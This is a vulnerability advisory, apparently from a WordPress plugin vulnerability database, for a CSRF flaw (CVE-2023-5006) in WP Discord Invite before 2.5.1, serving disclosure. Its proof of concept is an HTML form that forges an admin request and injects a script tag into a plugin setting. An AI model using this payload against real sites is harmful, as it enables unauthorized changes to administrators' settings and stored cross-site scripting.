WP Discord Invite < 2.5.1 – Arbitrary Settings Update via CSRF | CVE 2023-5006 | Plugin Vulnerabilities

Description

The plugin does not protect some of its actions against CSRF attacks, allowing an unauthenticated attacker to perform actions on their behalf by tricking a logged in administrator to submit a crafted request.

Proof of Concept

<html>
	<body>
		<form method="POST" action="http://127.0.0.1/wp-admin/admin.php?page=wp-discord-invite-count">
			<input type="hidden" name="wp-discord-invite-oauth" value="1"/>
			<input type="hidden" name="webhook" value='"><script>alert(1);</script>'/>
			<input type="submit" value="Submit">
		</form>
	</body>
<html>

Affects Plugins

wp-discord-invite

Fixed in 2.5.1

References

CVE

Classification

Type

CSRF

OWASP top 10

A2: Broken Authentication and Session Management

CWE

CVSS

Miscellaneous

Original Researcher

Enrico Marcolini, Claudio Marchesini

Submitter

Enrico Marcolini, Claudio Marchesini

Submitter website

https://www.dottormarc.it

Submitter twitter

Verified

Yes

WPVDB ID

d29bcc1c-241b-4867-a0c8-4ae5f9d1c8e8

Timeline

Publicly Published

2023-09-26 (about 2 years ago)

Added

2023-09-26 (about 2 years ago)

Last Updated

2023-09-26 (about 2 years ago)

Other

Published

Title

Published

2014-08-01

Title

CMS Tree Page View 1.2.4 - Page Creation CSRF

Published

2024-10-14

Title

Better Author Bio <= 2.7.10.11 - Cross-Site Request Forgery to Stored Cross-Site Scripting

Published

2024-09-24

Title

Premium Packages – Sell Digital Products Securely < 5.9.2 - Cross-Site Request Forgery

Published

2024-04-26

Title

Contact Form 7 Extension For Mailchimp < 0.9.19 - Cross-Site Request Forgery

Published

2025-09-26

Title

Professional Contact Form <= 1.0.0 - Cross-Site Request Forgery to Test Email Sending